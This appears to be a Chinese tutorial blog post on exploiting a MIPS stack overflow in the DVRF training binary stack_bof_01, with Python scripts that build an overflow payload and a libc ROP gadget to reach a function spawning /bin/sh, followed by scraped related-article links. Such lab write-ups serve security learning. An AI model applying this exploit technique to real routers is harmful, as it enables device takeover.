一步一步pwn路由器之栈溢出实战
前言
本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274
本文以 DVRF 中的第一个漏洞程序 stack_bof_01
为例,在实战 MIPS
架构中栈溢出的简单利用。
正文
去github上面把 DVRF 下载下来,然后用 binwalk
解开
在 pwnable
目录下就是相应的示例程序
在解开的文件系统的根目录下使用 chroot
和 qemu
运行 程序:
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat ./pwnable/Intro/input`"
使用了cat
命令读取文件作为命令行参数,传给目标程序,这样可以使我们输入一些不可见字符用于劫持程序流。
stack_bof_01
是一个很简单的栈溢出漏洞程序,它把用户从命令行传过去的参数直接使用 strcpy
拷贝到栈缓冲区,从而栈溢出。经过调试,输入204个字符后就可以覆盖到 ra
寄存器保存到栈栈上的值,进而可以控制 $pc
的值。
修改文件内容的 python
脚本如下
#!/usr/bin/python
padding = "O" * 204
payload = padding + "B"*4
with open("input", "wb") as f:
f.write(payload)
接下来就是考虑该如何利用的问题了。程序中包含了一个 执行 system("/bin/sh")
的函数 dat_shell
, 如果是在 x86
平台下的话,我们直接设置 $pc
寄存器到它的地址就可以了。在 MIPS
如果直接指过去或怎么样呢?我们试试
访问了非法内存,异常了。
原因在于,在 MIPS 中,函数内部会通过 $t9
寄存器和 $gp
寄存器来找数据,地址等。同时在 mips
的手册内默认 $t9
的值为当前函数的开始地址,这样才能正常的索引,所以我们需要先用一个 rop_gadget
设置 $t9
, 然后再跳到 dat_shell
函数。
在libc 中可以找到这样一个gadgets
.text:00006B20 lw $t9, arg_0($sp)
.text:00006B24 jalr $t9
加上libc的基地址就行了。用qemu-mipsel-static模拟程序是看不到目标程序的maps的,所以我们可以通过打印 got
表的函数指针,然后计算偏移得到 libc
的基地址。
所以我们现在的利用流程就是:
- 修改返回地址到
rop_gadget
, 设置$r9
为dat_shell
函数的地址 - 跳转到
dat_shell
函数,执行system
#!/usr/bin/python
padding = "O" * 204
gadget1 = "\x20\xbb\x6e\x76"
dat_shell_addr = "\x50\x09\x40" # Partial overwrite with little-endian arch
payload = padding + gadget1 + dat_shell_addr
with open("input", "wb") as f:
f.write(payload)
总结
学习到了
$t9
寄存器的重要作用以后再使用rop
调用函数时,要使用jalr $t9
类的gadgets
以保证进入函数后,$t9
的值为函数的起始地址,避免出错。使用ida反汇编mips程序时,它好像默认
$t9
的值为函数的起始地址,导致我们分析问题时造成困惑,pwndbg 和 radare2 就不会这样。
参考链接:
一步一步pwn路由器之栈溢出实战的更多相关文章
- 一步一步pwn路由器之wr940栈溢出漏洞分析与利用
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...
- 一步一步pwn路由器之rop技术实战
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这次程序也是 DVRF 里面的,他的路径是 pwnable/She ...
- 一步一步pwn路由器之uClibc中malloc&&free分析
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 栈溢出告一段落.本文介绍下 uClibc 中的 malloc 和 ...
- 一步一步pwn路由器之路由器环境修复&&rop技术分析
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 拿到路由器的固件后,第一时间肯定是去运行目标程序,一般是web服务 ...
- 一步一步pwn路由器之环境搭建
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 正式进入路由器的世界了.感觉路由器这块就是固件提取,运行环境修复比 ...
- 一步一步pwn路由器之radare2使用全解
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 radare2 最近越来越流行,已经进入 github 前 25了 ...
- 一步一步pwn路由器之radare2使用实战
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前文讲了一些 radare2 的特性相关的操作方法.本文以一个 c ...
- 简单实例一步一步帮你搞清楚MVC3中的路由以及区域
我们都知道MVC 3 程序的所有请求都是先经过路由解析然后分配到特定的Controller 以及 Action 中的,为什么这些知识讲完了Controller Action Model 后再讲呢?这个 ...
- 【计算机网络】一步一步学习IP路由流程
TCP/IP协议簇是目前互联网应用最广的协议栈,谈到TCP/IP协议栈就不能不讲一讲IP路由的问题,因为在我们使用的网络通信中几乎每时每刻都在发生着IP路由的事件…….当你在网络世界中还是一位新手的时 ...
随机推荐
- 线段树+单调栈+前缀和--2019icpc南昌网络赛I
线段树+单调栈+前缀和--2019icpc南昌网络赛I Alice has a magic array. She suggests that the value of a interval is eq ...
- jenkins backup and migration
service jenkins stop 压缩包:tar -czvf /tmp/xx.tar.gz --exclude=“workspace” --exclude=“.m2" --exclu ...
- postgresql客户端连接错误的解决方法【转】
今天在重新设置postgresql服务器以后却发现启动不了服务器.错误如下:psql: could not connect to server: No such file or directory ...
- 装B 自卫神器 -
IE内核下,使用XX插件 修改网页源代码直接无缝显示数据. 包括https FF同样. 截图: 可以修改所有客户端数据,用以迷惑他们.纯属娱乐 ``````` 再次,顺便提醒下. 做网赚的很多朋友,切 ...
- 使用KindEditor完成图片上传(springmvc&fastdfs/springmvc&ftp)
前端使用KindEditor,后台使用Springmvc 1 拷贝KindEditor相关文件到项目中 拷贝KindEditor相关文件到项目中 2 准备一个jsp页面 页面中我准备了一个超链接,点击 ...
- 关于JNI调用从eclipse转到Android Studio遇到的问题(总结)
将一个小应用从eclipse开发迁移到android studio,程序中有native代码实现,在eclipse是靠Android.mk这么个mk文件来组织编译的,但到android studio上 ...
- JMS、AMQP和MQTT主要特性
今天无意中看到mq的原理,才发现activeMq与ribbMq的原理是不一样的.前者是JMS的实现,后者是AMQP的实现... 原理简介:https://www.cnblogs.com/zhangyu ...
- ASP.NET站点部署相关
汤姆大叔的部署指南:http://www.cnblogs.com/TomXu/archive/2011/11/25/2263050.html 中文目录: 部署介绍 --(英文版连接) 部署SQL Se ...
- Tomcat源码分析——类加载体系
前言 Tomcat遵循J2EE规范,实现了Web容器.很多有关web的书籍和文章都离不开对Tomcat的分析,初学者可以从Tomcat的实现对J2EE有更深入的了解.此外,Tomcat还根据Java虚 ...
- EF那点事
EntityFramework 1-->什么是EnitityFramework 1.1--> ADO.NET Entity Framework 是微软以 ADO.NET 为基础所发展出 ...